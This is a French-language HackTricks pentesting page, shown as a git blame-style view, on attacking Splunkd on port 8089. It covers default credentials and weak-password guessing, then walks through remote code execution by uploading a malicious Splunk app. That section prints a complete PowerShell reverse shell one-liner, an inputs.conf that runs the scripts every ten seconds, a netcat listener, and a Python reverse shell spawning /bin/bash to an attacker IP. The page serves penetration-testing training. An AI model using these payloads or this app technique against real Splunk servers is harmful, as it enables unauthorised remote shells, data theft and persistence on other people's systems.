hacktricks/network-services-pentesting/8089-splunkd.md

141 lines
9.1 KiB
Markdown
Raw Normal View History

# 8089 - Pentesting Splunkd
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## **Informations de base**
2022-04-28 16:01:33 +00:00
Splunk est un **outil d'analyse de journaux** qui joue un rôle crucial dans **la collecte, l'analyse et la visualisation des données**. Bien que son objectif initial n'était pas de servir d'outil **SIEM (Gestion des informations et des événements de sécurité)**, il a gagné en popularité dans le domaine de **la surveillance de la sécurité** et de **l'analyse commerciale**.
2020-11-06 00:32:50 +00:00
Les déploiements de Splunk sont fréquemment utilisés pour stocker des **données sensibles** et peuvent servir de **source d'information précieuse** pour les attaquants potentiels s'ils parviennent à compromettre le système. **Port par défaut :** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
Le **serveur web Splunk fonctionne par défaut sur le port 8000**.
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2023-06-03 13:10:46 +00:00
## Énumération
2022-10-03 00:11:21 +00:00
### Version Gratuite
2022-10-03 00:11:21 +00:00
L'essai de Splunk Enterprise se transforme en une **version gratuite après 60 jours**, qui **ne nécessite pas d'authentification**. Il n'est pas rare que les administrateurs système installent un essai de Splunk pour le tester, qui est **ensuite oublié**. Cela se convertira automatiquement en la version gratuite qui n'a aucune forme d'authentification, introduisant une faille de sécurité dans l'environnement. Certaines organisations peuvent opter pour la version gratuite en raison de contraintes budgétaires, sans comprendre pleinement les implications de l'absence de gestion des utilisateurs/roles.
2022-10-03 00:11:21 +00:00
### Identifiants par Défaut
2022-10-03 00:11:21 +00:00
Sur les anciennes versions de Splunk, les identifiants par défaut sont **`admin:changeme`**, qui sont affichés de manière pratique sur la page de connexion.\
Cependant, **la dernière version de Splunk** définit **les identifiants** **durant le processus d'installation**. Si les identifiants par défaut ne fonctionnent pas, il vaut la peine de vérifier des mots de passe faibles courants tels que `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
2022-10-03 00:11:21 +00:00
### Obtenir des Informations
2022-10-03 00:11:21 +00:00
Une fois connecté à Splunk, nous pouvons **parcourir les données,** exécuter des **rapports**, créer des **tableaux de bord**, **installer des applications** depuis la bibliothèque Splunkbase, et installer des applications personnalisées.\
Vous pouvez également exécuter du code : Splunk a plusieurs façons d'**exécuter du code**, telles que des applications Django côté serveur, des points de terminaison REST, des entrées scriptées et des scripts d'alerte. Une méthode courante pour obtenir une exécution de code à distance sur un serveur Splunk est l'utilisation d'une entrée scriptée.
2022-10-03 00:11:21 +00:00
2023-06-03 13:10:46 +00:00
De plus, comme Splunk peut être installé sur des hôtes Windows ou Linux, des entrées scriptées peuvent être créées pour exécuter des scripts Bash, PowerShell ou Batch.
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
* `Splunk build`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
### Créer une Application Personnalisée
2022-04-28 16:01:33 +00:00
Une application personnalisée peut exécuter des **scripts Python, Batch, Bash ou PowerShell**.\
Notez que **Splunk est livré avec Python installé**, donc même sur des systèmes **Windows**, vous pourrez exécuter du code python.
2022-04-28 16:01:33 +00:00
Vous pouvez utiliser [**ceci**](https://github.com/0xjpuff/reverse\_shell\_splunk) paquet Splunk pour nous aider. Le répertoire **`bin`** dans ce dépôt contient des exemples pour [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) et [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Passons en revue cela étape par étape.
2022-10-03 00:11:21 +00:00
Pour y parvenir, nous devons d'abord créer une application Splunk personnalisée en utilisant la structure de répertoire suivante :
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Le **`bin`** répertoire contiendra tous les **scripts que nous avons l'intention d'exécuter** (dans ce cas, un **PowerShell** reverse shell), et le répertoire par défaut aura notre fichier `inputs.conf`. Notre reverse shell sera un **PowerShell one-liner :**
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Le fichier [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indique à Splunk **quel script exécuter** et d'autres conditions. Ici, nous définissons l'application comme activée et disons à Splunk d'exécuter le script toutes les 10 secondes. L'intervalle est toujours en secondes, et l'entrée (script) ne s'exécutera que si ce paramètre est présent.
2022-10-03 00:11:21 +00:00
```shell-session
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Nous avons besoin du fichier `.bat`, qui s'exécutera lorsque l'application sera déployée et exécutera la ligne de commande PowerShell.
2022-10-03 00:11:21 +00:00
L'étape suivante consiste à choisir `Install app from file` et à télécharger l'application.
2022-10-03 00:11:21 +00:00
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
Avant de télécharger l'application personnalisée malveillante, commençons un écouteur en utilisant Netcat ou [socat](https://linux.die.net/man/1/socat).
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Sur la page `Upload app`, cliquez sur parcourir, choisissez le tarball que nous avons créé précédemment et cliquez sur `Upload`. Dès que nous téléchargeons l'application, un **reverse shell est reçu** car le statut de l'application sera automatiquement changé en `Enabled`.
2022-10-03 00:11:21 +00:00
#### Linux
Si nous traitions avec un **hôte Linux**, nous devrions **modifier le script Python `rev.py`** avant de créer le tarball et de télécharger l'application malveillante personnalisée. Le reste du processus serait le même, et nous obtiendrions une connexion reverse shell sur notre écouteur Netcat et serions partis.
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Escalade de Privilèges
2022-10-03 00:11:21 +00:00
Dans la page suivante, vous pouvez trouver une explication sur la façon dont ce service peut être abusé pour escalader les privilèges et obtenir une persistance :
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
## Références
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-03 00:11:21 +00:00
<details>
<summary>Soutenir HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}